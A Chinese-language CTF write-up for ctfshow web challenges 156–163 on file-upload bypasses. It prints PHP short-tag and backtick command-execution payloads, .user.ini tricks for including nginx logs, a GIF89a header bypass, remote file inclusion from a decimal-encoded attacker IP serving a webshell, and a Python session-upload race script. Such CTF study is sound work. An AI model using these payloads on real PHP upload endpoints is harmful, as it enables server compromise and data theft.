[ctfshow]web入门——文件上传(web156-web163)

[ctfshow]web入门——文件上传(web156-web163)

[ctfshow]web入门——文件上传

  • [ctfshow]web入门——文件上传(web156-web163)
  • web156
    • 上传.user.ini
  • web157
  • web158
  • web159
  • web160
    • 上传.user.ini+日志包含
  • web161
  • web162
    • way1:远程文件包含
    • way2:session条件竞争包含
  • web163

本文来自csdn的⭐️shu天⭐️,平时会记录ctf、取证和渗透相关的文章,欢迎大家来我的主页:shu天_CSDN博客-ctf,取证,web领域博主 看看ヾ(@ ˘ω˘ @)ノ!!


web156

上传.user.ini

上传口
[ctfshow]web入门——文件上传(web156-web163)_第1张图片
试了试upload界面有一个默认文件,可以用上传.user.ini的方法
[ctfshow]web入门——文件上传(web156-web163)_第2张图片
后台应该是屏蔽了很多字符串(php,eval,post等等),甚至连正常图片都传不上去
试了一下php短标签还可以用
先找一下flag在哪
[ctfshow]web入门——文件上传(web156-web163)_第3张图片
在这里插入图片描述
然后读flag的内容

 exec("cat ../flag* > 2.txt");?>

访问/upload/,然后再访问/upload/2.txt,看到flag
[ctfshow]web入门——文件上传(web156-web163)_第4张图片


web157

payload同上题,屏蔽了;

 exec("cat ../flag* > 2.txt")?>

[ctfshow]web入门——文件上传(web156-web163)_第5张图片


web158

payload同上题

 exec("cat ../flag* > 2.txt")?>

[ctfshow]web入门——文件上传(web156-web163)_第6张图片


web159

payload同上,括号被屏蔽,用反引号执行命令

 `cat ../flag* > 2.txt` ?>

[ctfshow]web入门——文件上传(web156-web163)_第7张图片


web160

上传.user.ini+日志包含

过滤了反引号和空格,没有办法上传危险的函数了
所以利用include文件包含传
注意log被过滤

include"/var/l"."og/nginx/access.lo"."g"?>

[ctfshow]web入门——文件上传(web156-web163)_第8张图片
[ctfshow]web入门——文件上传(web156-web163)_第9张图片


web161

估计是检测文件头,加个GIF89a?
[ctfshow]web入门——文件上传(web156-web163)_第10张图片
然后同上一题用日志包含

include"/var/l"."og/nginx/access.lo"."g"?>

[ctfshow]web入门——文件上传(web156-web163)_第11张图片


web162

过滤了.,所以不能利用日志包含了,先正常上传.user.ini

[ctfshow]web入门——文件上传(web156-web163)_第12张图片
然后有两种方法

way1:远程文件包含

[ctfshow]web入门——文件上传(web156-web163)_第13张图片
因为不能有.所以将IP转换为十进制,我的默认路由就是一句话木马
[ctfshow]web入门——文件上传(web156-web163)_第14张图片

如果是包含远程服务器上的PHP文件,那么得到的是被远程服务器解析过的PHP,所以在写一句话木马的时候就不要做成.php的文件,一般包含.txt的文件
https://www.jianshu.com/p/be68cf9be911


[ctfshow]web入门——文件上传(web156-web163)_第15张图片

way2:session条件竞争包含

利用session.upload_progress将木马写入session文件,然后包含这个session文件。
首先在.user.ini包含/tmp/sess_{sessid}

auto_append_file=/tmp/sess_xiao

[ctfshow]web入门——文件上传(web156-web163)_第16张图片

import io
import sys
import requests
import threading

host = 'http://6038fed7-c4a1-4d83-98cc-45dba9f44a8d.challenge.ctf.show/'
sessid = 'xiaozS'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            host,
            data={"PHP_SESSION_UPLOAD_PROGRESS":"');echo md5('1');?>"},
            files={"file":('a.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'{host}/upload/')
        # print(response.text)
        if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)


with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()
    READ(session)

呜呜呜条件竞争了好久没成功,不知道为什么


web163

同上用远程文件包含

GIF89a?
auto_append_file=http://6024326456

[ctfshow]web入门——文件上传(web156-web163)_第17张图片

本文来自csdn的⭐️shu天⭐️,平时会记录ctf、取证和渗透相关的文章,欢迎大家来我的主页:shu天_CSDN博客-ctf,取证,web领域博主 看看ヾ(@ ˘ω˘ @)ノ!!

你可能感兴趣的:(ctf,#,web,php,web,ctf,文件上传)